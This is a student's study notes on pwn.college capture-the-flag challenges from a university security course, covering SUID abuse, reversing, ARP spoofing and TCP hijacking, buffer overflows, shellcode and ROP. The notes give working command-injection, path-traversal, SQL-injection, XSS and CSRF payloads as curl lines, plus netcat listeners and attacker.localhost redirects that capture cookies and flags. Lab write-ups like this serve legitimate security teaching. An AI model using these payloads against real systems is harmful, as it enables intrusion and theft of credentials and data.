mirror of
https://github.com/20kaushik02/CSE545_SS_Work.git
synced 2025-12-06 05:24:07 +00:00
28 KiB
28 KiB
CSE 545 - Fall '24 pwn.college Dojo
Project 01 Linux Lifter
.05 - find
find / randomly_placed_file- way too many files- read the man page.
find -name randomly_placed_filefound it - didn't specify a folder to search in tho, ig it's cuz cwd is /
.06 - find and exec
- "Optional Exercise: Why do they think it worked with
-execparameter of thefindcommand, but we get permission denied using standalonecatcommand? Hint: SUID bit was set for thefindcommand." - indeed, we see that
/usr/bin/findhas its setuid bit set:
- see here for find stuff
find / -name random_cant_flag -exec cat {} ';'worked
.07 - return code
$?is the return code of the last executed command- range 0 to 255
.08 - python
- SUID on python this time
.11 - search me
/challenge/tester.shis printing/flagbut the file is missing/challenge/cphas SUID bit set- preliminary find revealed a possible file deep in
/tmp find /tmp/that/full/path -name flag -exec /challenge/cp {} /flag ';'
.12 - hash it out
- used online tool to generate SHA256
.13 - hash full
- here we go
- a-z, 6 spaces, so 26^6 possibilities
- plaintext is 6 letters, so 48 bits. hash is SHA256 so 256 bits.
- storage per line:
<hash><plaintext>that's 304 bits, 312 if including newline character - total storage exceeds 11GB!!
- refinement 1: 256-bit hash is pretty unique. if we cut down on the portion of the hash stored, we should be able to save a ton of space while only slightly increasing the margin of error. let's assume plaintext has to be stored entirely for now, so total per line is 184 bits.
- eh fk it, just generated all permutations. 22GB storage, 20 min to generate, search using VSCode search took a few more minutes
Project 02 Unwinding Binaries (Reversing)
.01 - looking inside
- not sure how to use ghidra, didn't seem to work either
angr decompile /challenge/runrevealed astrcmpwith the key, ez
.02 - the mangler
- 'mangling' is just subtracting 3 from the char's ascii value. so just add 3 to the key
.03 - XOR plus
- mangling is adding 3 then XOR with 2. so just XOR with 2, then subtract 3
lab 2a.02
- ascii values
.04 - solve for x
- NOTE: angr screwed up, and gave an incorrect result (== instead of !=)
- use ghidra (GUI) or dogbolt for binaries under 2MB
- anyway, math solving:
- we get a few eqns:
- v1 = v0 - 24223
- v3 = 5v2 - 129519
- use these eqns to reduce from brute-force 4 nested loops to 2 nested loops
- then verifying the rest gets us one soln
- we get a few eqns:
- runtime < 3 seconds
.05 - extra verification
- angr just straight up hangs lol
- holy sh*t so many if statements
- boils down to byte by byte, check 1 or 0, check +ve or -ve (MSB)
- 00 - 00110111
- 01 - 01000111
- 02 - 01000011
- 03 - 01010110
- 04 - 00110100
- 05 - 01010010
- 06 - 01011010
- 07 - 01001001
- 08 - 01000001
- 09 - 00110100
- 10 - 01011001
- 11 - 00111000
- 12 - 01111001
- 13 - 00110011
- 14 - 01110011
- 15 - 01001000
- 16 - 00110101
- 17 - 00111000
- 18 - 01101010
- 19 - 01010111 (binary ninja and hex-rays disagreed on this, binary ninja was right)
- could have automated this smh
.06 - extra verification II
- first ordered all if statements to get bitwise order of the string (hell.)
- for result to be 0 at the end, just don't modify it at all
- so for each if statement, check which of 0/1 makes it false (find and replace ftw)
- ascii string is 67kW6YnKvTpaqoBX1F8l
- really should have automated this
.07 - binary labyrinth
- omg it's literally labyrinth navigation, using wasd keys LMFAO
int M[12][12]={
{ 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1},
{ 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0},
{ 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1},
{ 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1},
{ 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1},
{ 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1},
{ 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1},
{ 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1},
{ 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1},
{ 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1},
{ 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1},
{ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}
};
- 1s are landmines
- start from row 1, column 2 (x=1, y=0)
- goal is row 2, column 12 (x=0xb, y=1)
- ssssdsssddsssdddwwwddwwwwdwwd
- lol
Project 03 Hacking Network Highways
.01 - netcat
nc 10.0.0.3 31337
.02 - netcat listener
nc -l 31337
.03 - nmap and netcat
nmap 10.0.0.0-255 # found in .142
nc 10.0.0.142 31337
.04 - nmap in parallel and netcat
-snfor ARP ping scan - no ports just discover host--min-parallelism 10for at least 10 probes at a time- consider using
-T4or-T5timing templates - checked
10.0.0.0/19- only us at .210.0.32.0/19- nothing10.0.64.0/19- 10.0.90.244 and port is 31337 as expected. stopped here
.05 - tcpdump
tcpdump -A 'tcp port 31337'-Ato print content as ASCII
.06 - tcpdump and flow
- inspecting the /challenge/run python script, we see that it's sending one character at a time, after encoding them
tcpdump -s 65535 -nntA 'tcp port 31337' -w /home/hacker/my_pcaps/3.06.pcap-sto grab full packet (?)-nnto avoid resolution of hostnames or port numbers-tto exclude timestamp-Ato print content as parsable ASCII. important!!!
- then we use scapy to read the packets, skip alternating duplicates, decode, and form a single string
- ehh i messed up something but whatever
.07 - mimic and listen
ip addr add 10.0.0.2 dev eth0assign the address to us, fakenc -l 10.0.0.2 31337
.08 - ether scapy
- jfc
- ALWAYS be explicit and define the src addresses
- didn't define the src MAC addr, so packets kept going thru
loinstead ofeth0 - too stupid to realize it in time too
- anyway, get current MAC addr of
eth0 - craft Ether packet to given dest addr with type
0xFFFF srp(pkt, iface='eth0')
lab 3a was chill, no notes
.09 - IP scapy
- similar
- set IP addr with
ifconfig eth0 10.0.0.2 - add l3 with src and dest IP addr,
proto=0xFF - since we need MAC as well, use
srp, notsr
.10 - TCP scapy
- similar
- again, set IP addr
- add l4 with src and dest TCP port,
flags=0x1Fto set ACK (0x10), PSH (0x08), RST (0x04), SYN (0x02), FIN (0x01) flags srpagain
.11 - TCP handshake
- send SYN with specified seq and ack numbers - 31337 both
- get SYNACK
- has ack of 31338, which will be our next syn
- has random syn, add 1 to get next ack
- send ACK with next syn and ack numbers
.12 - ARP scapy
- meh, arp opcode is 2
.13 - ARP spoofing
- meh, just crafting ARP and tcpdump
lab 3b was chill, no notes
.14 - MiTM ARPing
- shit's getting too easy, let's not look at /challenge/run
- first, get target's macs, then arp spoof
- we don't have NET_ADMIN, so can't set ip_forward in sysctl to control MITM directly,
- first, capture packets, check raw loads
- we observe that a sequence repeats:
- 10.0.0.3:31337 sends a command: "SECRET", to 10.0.0.4 at a random port
- note: how does 3 know which port to send to?
- [after 3d] idiot, 4 opens the tcp handshake
- note: how does 3 know which port to send to?
- 4 responds with a secret, it's in ascii?
- 3 sends a list of available (?) commands - echo, flag, and then asks for a command
- 4 responds with echo, and sends "Hello, World!"
- 3 echoes it back
- 10.0.0.3:31337 sends a command: "SECRET", to 10.0.0.4 at a random port
- connection closes, repeats with another randomized port for 4
- note that 3 sends a secret and a list of commands that includes a flag command
- craft a packet masquerading as 4, with the flag command, wait for a secret to arrive and put it in the packet
- [after 3d] idiot, read the code, you don't need the secret, just hijack the connection
- in the time it takes 3 to do the legitimate echo from 4, we could probably send the flag command to 3 and have it processed in the same ephemeral connection
- let's try
lab 3c was chill, no notes
lab 3d
.2 - mitm arping
- same as 3.14, approaching this first for deadline
- client at 3.13.37.4, random port
- server at 3.13.37.3, port 1992
- flow:
- TCP handshake:
- client -> SYN -> server
- server -> SYNACK -> client
- client -> ACK -> server
- secret is sent:
- server -> PUSHACK -> asks for secret -> client
- client -> ACK, then PUSHACK -> secret string \n-> client
- server -> ACK, then PUSHACK -> secret confirmed -> client
- at this point, inject BACKDOOR packet before the actual client
- client -> ACK, then PUSHACK -> ECHO: -> server
- after backdoor, send a FLAG packet
- TCP handshake:
going back to continue 3.14 with this understanding
- [after 3d] updated understanding
- client at 10.0.0.4, random port
- server at 10.0.0.3, port 31337
- flow:
- TCP handshake:
- client -> SYN -> server
- server -> SYNACK -> client
- client -> ACK -> server
- secret is sent:
- server -> PUSHACK -> asks for secret -> client
- client -> ACK, then PUSHACK -> secret string \n-> client
- server -> ACK, then PUSHACK -> list of commands -> client
- at this point, inject FLAG command before the actual client
- client -> ACK, then PUSHACK -> ECHO -> server
- TCP handshake:
Project 04 Hijacking Binary Power (Pwning)
- seems we have access to the source code, and we're given a suid-set executable
.02 - exec them all
- title helped
exec -a <passwd> /challenge/run
.03 - altering arg[0]
- +3 lops off first 3 chars
.04 - symmer
- symlink /flag to ~/flag
.05 - when is a secret not secret
.10 - somewhere over the rainbow
- online tool
.11 - byte compare
- this strncmp takes the lower length (doesn't take null tho), so just give it a single byte
- only 256 possible values, bruteforce
for i in $(seq 0 255); do
i_chr=$(printf "\x$(printf "%x" "$i")")
/challenge/run $i_chr
done
.12 - symmer in time
- 5 second window
- initially have a dummy
~/flag, run the challenge, within 5 seconds delete it and create it as a symlink to/flag
.13 - time after time
- 2 second window
- creates tmp files, writes target to one, sleeps for 2 secs, then reads from it and compares with passwd checksum
- have
umask 002 ; echo <checksum> > /tmp/hash_output_1000_<randnum>in one shell ready for tab completion of the random number part - run
/challenge/run somethingin another shell, then run the above
.14 - controlling your path
- make sure PATH is set so that it uses your program
- don't specify a shell so that it uses
/bin/sh- see here"If the process image file isn't a valid executable object, the contents of the file are passed as standard input to a command interpreter conforming to the system() function. In this case, the command interpreter becomes the new process image."
- i assume the command interpreter that gets used has the SUID bit
.15 - blind leading the blind
- basically, stdout and stderr for the child are set to
/dev/nullso instead of spawning root shell, usecat flag > outputand read output
.16 - arg wars VI - return of the hacker
- decompiler showed set of filtered characters, quotes and backslashes are not there
- also .17 checks for backslashes, so i assume backslashes solves this
- but i got stuck, TA said try the 'prequels' first then come back lol
lab 4a.1 - easy overflow
- standard buffer overflow vuln
- gdb shenanigans
- shift-ctrl-@ inserts a null character it seems (remember for .16)
- enough gdb, let's move to big guns - pwntools
- checksec says no stack canary or PIE
- all g then
- calculate offset from vulnerable variable location to saved RIP(return instruction pointer) location
- get address of target function to execute
- craft payload accordingly
lab 4b.1 - overflow + shellcoding 1
- buffer overflow vuln
- have to write and inject shellcode
- checksec says protections are disabled
- pwntools generated shellcode for
/bin/sh:- push
/bin/shto stack, setebxto this address - setting argv - push
shnull-terminated (hv to use XOR trick to null-terminate, which isn't necessary for memcpy tho), setecxto this address - setting env - XOR out
edx - executing execve - syscall
execve
- push
- so
- get shellcode on the stack
- calc offset from rsp to start of shellcode
- rsp is obtained at runtime, program outputs it
- if we put shellcode in the vulnerable variable, we can use its location to store shellcode since its not being modified
- and in this case, rsp=variable location cuz last variable on stack
- add offset to rsp to get shellcode location
- put that as target rip
- padding in between
- boom
lab 4b.2 - overflow + shellcoding 2
- ummm
- apparently the difference was replacing memcpy with strcpy
- memcpy doesn't care about null bytes, strcpy does
- but since i used robust shellcode from pwntools ahaha....
- it already took care of that
- so 4b.1 solution applied here too
.19 - pile on
- unsanitized input to system() - basic shell injection
.20 - | escape from cmd
- input escaped by double quotes
- just tried randomly, this worked to inject:
/challenge/run ';`lint`'
.21 - substitute commander
- checked for double quote in input, so prev soln worked here too
.22 - arg wars I - the phantom command
- find command
- injection vuln, only checks for semicolon
- so same works again, replace with
&&
.23 - arg wars II - attack of the chars
- checks for dollar in addition (variable substitution)
- so same works again
.24 - arg wars III - revenge of the tick
- ah now the backtick has been filtered. but not the ampersand!
/challenge/run 'test && lint'
.25 - arg wars IV - a new hole
- now the source is not available, hv to decompile
- we see that now ampersand has been filtered out as well
- lets try quotes to have find do an exec
/challenge/run test" -exec /home/hacker/lint {} +"
.26 - arg wars V - the system strikes back
- pipe symbol now added to filter
- luckily we didn't use that
.27 - overflow gods
- buffer overflow vuln
^Ais ASCII 1
.28 - the power of a god
- just overflow again, doesn't matter if stack or global var
.29 - direct is best
- we get direct access to set any value on stack - control flow vuln (lol)
- set saved rip to target function address
.30 - stack direct
- similar access. no source code
- decompiled, found a
flag==0xcafebabecheck to execute a root shell
.31 - data direct
- even more direct access - no addition of address, just direct address control (lol)
- set flag to
0xdeadfeed
lab 4b.3 - overflow + a defense
- similar to 4b.1 and 4b.2
- but here we dont have RSP so we cant point RIP to it
- instead there's a function that has
jmp *%rsp - so first, pad the vulnerable stack buffer upto the saved RIP's address
- put that function's address in it
- now, remember that when a function returns, it pops its stack
- so we need to put our shellcode after this saved RIP's location
- that way, when the current function returns into the target function, the target function's RSP will point to the shellcode
- boom
lab 4c.1 - rop
- buffer overflow vuln, but NX is enabled on stack
- ROP time
- we need:
- location of a string "/bin/sh" in rdi (path)
- 0 in rdx (argv)
- 0 in rsi (envp)
- 0x3b in rax (execve)
- finally run syscall
- ASLR is enabled, but program gives us the address of libc
- from pwn, we have ROP(ELF(libc.so path)) to get ROP gadgets from libc
- other tools exist, like ROPGadget.py, one_gadget, ropium
- find necessary gadgets and args
- some might not exist in the exact form required, maybe some baggage is attached, or a roundabout way is needed (xor instead of directly loading, etc)
- boom
lab 4c.2 - rop
- this time, base address of libc isn't given by the program
- we need to leak it
- the program's PLT - procedure linkage table - has the address of any library functions that have been called at least once
- PLT is stored in the code section (?) and won't change per execution
- if the program calls puts/printf, we can get its address inside libc and calc libc base from that
- to get this address, we craft a ROP chain
- leak rop chain
- get the pointer to puts/printf that's inside PLT, and put it in rdi
- then put the same in the next rip itself
- so we have now done
puts(&puts)
- so we have now done
- then address of the vuln function, to reset execution
- this prints out the address of puts from libc
- we know offset of puts from libc base, so we can get libc base
- rest is same as before
- boom
lab 4d.1 - off by 1
- off by one
- limited control over buffer
- usually a mistake in code - a loop that executes one time too many, a buffer one byte too long, etc.
- here, giving the right value (ascii 7e) as mentioned, will do a buffer overflow to change a pointer's value and trigger the target fn
lab 4d.2 - hash off by 1
- logic is same
- but we don't know target address value
- so bruteforce
lab 4d.3 - off by one pivot
honestly idk just check class vid and script
lab 5a - web intro
lab 5a.1 - get command injection
- unsanitized url query param as grep input
- string is in double quotes
curl 'http://lab.localhost?username=pwn.*"+"/flag'- double quotes to break the string input
+to insert space after name in grep- add target path to search in
lab 5a.2 - post command injection
- similar, except post request this time
- string is in single quotes
curl -X POST 'http://lab.localhost' -d "username=pwn.*'+'/flag"
lab 5a.3 - basic authentication
- basic auth, creds in source code
- format:
<username>:<password>and it has to be base64 encoded curl 'http://lab.localhost' -H "Authorization: Basic $(printf "0c001:acidburn" | base64)"- or easier:
curl 'http://lab.localhost' -u "0c001:acidburn"
lab 5a.4 - session hijack
- not really session hijack, flag is the password, sent in plaintext
- tcpdump access given, done
lab 5b - sql injection
lab 5b.1 - sql pass to session
- unsanitized SQL query in flask app
- simple injection
- app sets session cookie for 'login', use that to curl again and app prints flag
- do injection to get cookie
curl -c cookies.txt 'http://lab.localhost?username="hi"+or+1=1+--&password=admin' - then use cookie
curl -b cookies.txt 'http://lab.localhost
lab 5b.2 - sql pass to session ii
- input escaped by double quote
- break it then do the same
curl -c cookies.txt 'http://lab.localhost?username="+or+1=1+--&password=admin'- i.e. a single " to break
lab 5b.3 - unionize
- same double quote escape
- no added select query in app to get flag, we hv to inject a select query
- add a union clause and select from flags table
- when it tries to convert the rowid with int(), it will print the error as the 'rowid' here is the flag string that we selected, so it can't convert a string
- also a POST request
curl -X POST 'http://lab.localhost' -d 'username="union%20select%20*%20from%20flags%20--&password=admin
lab 5b.4 - master union with 64
- flag is base64 encoded and used in a table's name
- but it's the same unionize vuln
- so let's get the table name from the sqlite master table -
SELECT name FROM sqlite_master WHERE type='table' - so:
curl 'http://lab.localhost/?query=test"union+select+name+from+sqlite_master+where+type="table"--' - then
base64 -d
Project 04 - continued
.16 - arg wars VI - return of the hacker - reattempt
- backslash isn't filtered
- escape the double quote with a backslash to break apart the find command
/challenge/run "lint\" -exec {} +\""
.17 - arg wars VII - the hacker awakens
- they filter backtick? idk
- idk why but quote needs to be changed
/challenge/run "\"lint\" -exec {} +"
.18 - arg wars VIII - the last hack
- went back to being same as .16
- idek
.32 - end of the rainbow
- file access check done for program name, not argument
- executes the selected program with given argument
- buffer is copied to argument from argv only after the access check
- buffer overflow
- overflow the argument's buffer ('buffer') to overwrite the program name's buffer ('filename')
/challenge/run echo $(python3 -c 'print("a"*288+"/home/hacker/lint")')
.33 - one character at a time
- same, apparently some validation for program name length was added
- but we were already using the argument buffer
.34 - going with the flow
- source given
- buffer overflow again
- overflow the input buffer to overwrite the variable that contains the target hash to contain the hash of our input
pwndbg> b 56
Breakpoint 1 at 0x40137d: file main.c, line 57.
pwndbg> r blah
Starting program: /challenge/run blah
...
In file: /challenge/main.c
52 }
53 unsigned char* digest = md5sum(data_buffer);
54 strcpy(checksum_0, digest);
55 free(digest);
56
► 57 if (!strcmp(checksum_0, checksum_1))
58 {
59 puts("Awesome job!");
60 system("/bin/sh");
61 }
62 else
pwndbg> p &data_buffer
$1 = (char (*)[65]) 0x403540 <data_buffer>
pwndbg> p &checksum_1
$2 = (char (*)[33]) 0x4035a0 <checksum_1>
- gap b/w input data_buffer and checksum_1 is 0x60 - 96 bytes
- fill input buffer, pad the remaining bytes, then place the hash of the 64 bytes
from Crypto.Hash.MD5 import MD5Hash
diff = 96
input_str = "F" * 64
padding = "U" * (diff - 64)
input_str_hash = MD5Hash(input_str.encode()).hexdigest()
payload = input_str + padding + input_str_hash
- boom
.35 - got hash?
- buffer overflow
- overflow input buffer to set hash
- find a string whose hash starts with a null byte
.36 - tick tock you don't stop
- simulates a TOCTOU?
- but attack is nothing: challenge just reads lines from a file and executes them as commands
- so just put
cat /flagin a file and pass it
.37 - the password is
- simple buffer overflow
- strncmp, but buffer locations are next to each other
- password in source itself
/challenge/run $(python3 -c 'print("F"*512,"aQWavHydcXmOzMDAF6b4")')
.38 - hit me baby one more time
- same as .36
- but this time, memcmp instead of strcmp
- but the string gets null terminated forcefully
- so use the same hash, but replace the starting null byte
\x00of the hash with anything else
.39 - flow direct
- shellcode injection, rsp is given by program
- but buffer isn't big enough
- where else can we put it?
- one solution is to place shellcode in an env variable and preface it with a sufficiently large NOP sled
- then overwrite saved rip with this shellcode's location, or at least its proximity so that it gets caught in the NOP sled
.40 - one step too many
- off by one vuln (checks
index_pos > sizeof(buffer)for out of bounds, when it should be>=) - control program flow (exit func ptr)
- current exit ptr is
0x401191, target fn is at0x401176 - last byte alone needs to be changed
- bruteforce - generate hashes as specified, then check for a hash that ends with the
76byte - boom, string
.41 - little dipper
- buffer overflow + shellcode injection, over the network
- rsp is given by the program, but it's of the caller stack frame of the function that contains the buffer overflow
- no matter, we calculate the offset
- standard injection after that, only difference is over network
.42 - big dipper
- same as before, but buffer is too small for usual shellcode
- so use the technique from 4.39, i.e. placing shellcode in an environment variable
- place similar NOP sled and shellcode yada yada
.43 - twist and shout
- stack pivot + shellcode
- can't overwrite saved rip but can overwrite rbp
- use it to repeatedly pop into rsp when leaving, thus making it reach the shellcode
.44 - working in a coal mine
- stack canary, but set to static value lol
- bruteforce to get canary
- buffer overflow, but again too small, so have to go for env var
- also similar stack pivot as we can't directly overwrite saved rip
lab 5c - xss/csrf
- how to inject JS?
- URL-encoded - %xx
- event handlers - onload, onmouseover, etc.
- image tag with encoding (?)
- CORS
- XSS, CSP
- CSRF, nonce
lab 5c.1 - alert me
- simple XSS
- regex validation, poorly done, only checks for
alert(), can setlet a=alert;a()or simply use some other dialog box curl http://lab.localhost/go?gourl='http://lab.localhost/echo?echo=<script>confirm("hi")</script>'
lab 5c.2
- even simpler?
- leak endpoint provided...
curl http://lab.localhost/go?gourl='http://lab.localhost/leak'
lab 5c.3
- CSRF token, given by program
- but this time the
gourlURL's hostname is restricted toattacker.localhost - then let's setup a flask server at this address and use it to redirect to the leak URL
curl http://lab.localhost/go?gourl='http://attacker.localhost:9999/' -H "X-CSRF-Token: $(curl http://lab.localhost/get-csrf-token)"
lab 5c.4
- similar, instead of directly returning, it has an endpoint that puts passwords from
userstable into thepoststable, which is publicly accessible - to trigger that, let's make a web server that returns a HTML form that auto-submits on page load, which hits that update endpoint
- then make the challenge server go to it
curl http://lab.localhost/go?gourl='http://attacker.localhost:9999/' -H "X-CSRF-Token: $(curl http://lab.localhost/get-csrf-token)"- leaked, all that's left to do is view
curl http://lab.localhost/view
lab 5c.5
-
actly broken,
/profileforgot to check for cookie -
but let's see how it works
-
cookie but not a HTTP-only cookie
-
nc -l 9999 -
curl http://lab.localhost/go?gourl='http://lab.localhost:9999' -
netcat server can see the cookie
-
use it in a request to
/profile
lab 5c.6
- stored XSS vuln
- store the JS in the server
- fetch that part from the server and the browser executes it
- JS part:
- take flag from secret table and put it in public table
- get it and send it to a netcat server
nc lab.localhost -l 9999
- boom
Project 05 - Wrecking the Web World
.01 - transverse
- like lab 5a.1
- reads content of file at given location
- no sanitization of input
curl "http://capture.local?path=../flag"
.02 - command override
- command injection
curl "http://capture.local/?timezone=UTC;cat%20flag"
.03 - sneak in
- just direct access? only one row in table, rowid as param, so just give 1
curl http://capture.local/?account=1
.04 - log me in
- like lab 5b.1
curl -L -c cookies.txt 'http://capture.local' -d 'account_name="OR+1=1+--&secret=test'
.05 - is it raining?
- union, like lab 5b.3
curl 'http://capture.local?query="union%20select%20secret%20from%20credentials%20--
.06 - hidden data
- get from sqlite master table, like lab 5b.4
curl 'http://capture.local/?query=test"union+select+name+from+sqlite_master+where+type="table"--'- then use to get flag
curl 'http://capture.local/?query=test"union+select+secret+from+table2456270137675749859+--'
.07 - leak in my data
- union and rowid fetch, like lab 5b.3
curl -L http://capture.local/ -d 'secret=test&account_name=flag"+UNION+SELECT+secret+as+rowid+,+*+FROM+credentials+WHERE+account_name="flag"+ORDER+BY+rowid+DESC+;--'
.08 - crossing the site
- like lab 5c.1, XSS
curl http://capture.local/visit?url='http://capture.local/echo?echo=<script>confirm("hi")</script>'
.09 - dodging across the site
- similar, input is escaped in a
ptag - break out of it
curl http://capture.local/visit?url='http://capture.local/echo?echo=</p><script>prompt("hi")</script><p>'
.10 - acting up
- endpoint to expose flag, curl it first
curl http://capture.local/visit?url='http://capture.local/is-exposed'- then get flag
curl http://capture.local/info?account=1
.11 - freaky forgeries
- similar, but also like lab 5c.3, CSRF token
- run a redirect server
- expose flag
curl http://capture.local/visit?url='http://attacker.local:9999/' -H "X-CSRF-Token: $(curl http://capture.local/get-csrf-token)" - get it
curl http://capture.local/info?account=1 -H "X-CSRF-Token: $(curl http://capture.local/get-csrf-token)"
.12 - forging fence posts
- like lab 5c.4, POST request so craft a form
- run the onload-form server
- expose flag
curl http://capture.local/visit?url='http://attacker.local:9999/' -H "X-CSRF-Token: $(curl http://capture.local/get-csrf-token)" - get it
curl http://capture.local/info?account=1 -H "X-CSRF-Token: $(curl http://capture.local/get-csrf-token)"
